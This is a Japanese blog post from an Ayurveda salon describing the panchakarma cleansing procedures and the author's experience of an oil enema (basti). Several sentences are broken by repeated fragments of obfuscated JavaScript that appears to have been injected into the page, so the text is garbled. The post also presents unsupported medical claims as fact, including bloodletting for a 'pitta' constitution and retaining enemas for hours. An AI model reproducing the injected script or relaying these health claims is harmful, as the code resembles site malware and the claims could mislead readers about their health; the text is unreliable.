パンチャカルマ第6回 バスティ

東京・阿佐ヶ谷のアーユルヴェーダ専門サロンmanas《マナス》です
これが、最後のトリートメント「バスティ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
前回、これが、パンチャカルマの肝となる
「中心処置」の1つであると言う話をしましたよね。
体中から集めた毒素を外に出す…
と言う中心処置、5つの行為とはどんなものか?
簡単に言うと、こうです!
 ・ナスヤ…鼻から薬を入れて排出
 ・ラクタモークシャ…血液を抜いて排出
 ・ヴィレチャナ…下剤を飲んで排出(上から飲んで下から排出)
 ・ヴァマナ…口から吐くことで排出(上から飲んで上から排出)
 ・バスティ…お尻から薬を入れて排出(下から入れて下から排出)

ナスヤは、前半のトリートメントにあったので分かりますよね?
知りたい方は、こちらから。
ラクタモークシャは、え!って思うでしょうが、
アーユルヴェーダは、インドでは医療なので
医療用のヒルを使ったりして、血を抜くんだそうです。
みなさん、えーって思うかもですけど、
私、すごい思い当たるフシがあったんです。
実は、ワタクシ、献血が好きなんです。
400mlだと年に2回しかできないのに、
いつも献血の呼び込みに、やってあげたい!と思うぐらい好き。
そんな私は、ピッタが上がりやすい体質なのですが、
これは、血が汚れやすい性質を持っているんですね。
だから、そういう人は「血を抜くと調子が良くなる」っていうのを
体が分かっていて、自然と献血を好んだりするんですって。
まさに、私ってそれじゃないですか~~!!と
ビックリしてしまいました。
おっと、横道にそれました。本題に戻って…
続いて、ヴィレチャナは、下剤を飲んで出すんですけど、
主に小腸のあたりを浄化すると言われています。
ヴァマナは、特別なハーブティーをたくさん飲むことで
吐き気をもよおわせるという施術。
胃や肺、食道などを浄化するのですが、
とても体力が必要なので、弱ってる人にはできません。
そして、今回、私が受けた「バスティ」andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}
これは…要は浣腸、大腸の浄化になります。
ただ、バスティにも種類があります。
腸内洗浄のように大量の薬液を腸内に入れて
排出させると言う、まさに浣腸ってものもあるようですが
私たちが受けたのは、「薬用オイルを使うバスティ」。
これは、いわゆる排便目的だけの浣腸とは少し意味が違います。
主な目的は、大腸から薬を吸収させるandom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}ことなのです!!
そう、大腸と言えば、食べた栄養分を吸収する大事な器官。
ここに薬用オイルを入れれば、ダイレクトに吸収されるし、
薬草の成分を体全体に行き渡らせることができるわけ。
考えたら、口から飲むより、かなり合理的です。
本当に、インド人の発想ってスゴイですよねー
そんなわけなので、オイルを入れた後
すぐに出してはいけません。
最低でも3時間は我慢するように!と言われました。
うーん・・・でもこれが、なかなか難しい。
初日は、2時間でギブアップ。。。
でも翌日、ドクターに2時間我慢したと話したら、
もっと我慢しないと!と言われてしまい、
その日からは、4時間以上、我慢するように…
人間、やれば出来るもんですね!
残念ながら、私は諸事情で2日しか受けられなかったんですけど、
研修仲間で、ずっと便秘だった子は、
初日のバスティで詰まっていたものがほとんど排出され、
翌日からは、薬が吸収されるように頑張ったせいか、
毎日、快便になっていましたよ!
便秘になりやすい性質というのは、確かにあるんですが、
その1つに「乾燥」って言うのがあります。
「私は肌がオイリーだから乾燥じゃない」と思う人も、
例えば、腸の中が乾燥してるってこともあるんですよ。
体は、表面だけではないのです。深い!
普通の浣腸や腸内洗浄も、不要なものを排出させる意味では
やること事態に問題はないのですが、
やったあとに、腸が乾燥してしまうそうです。
その点、オイルのバスティーは薬液の吸収と共に、
排出も促してくれるし、腸を潤してもくれるので、
普通の浣腸よりも体に優しいと言えるでしょう。
では次回は、このトリートメントを経て、
私の体にどんな変化が起きたのか!?
がっちり追求していきます!
続く・・・
アーユルヴェーダサロンmanas 《マナス》

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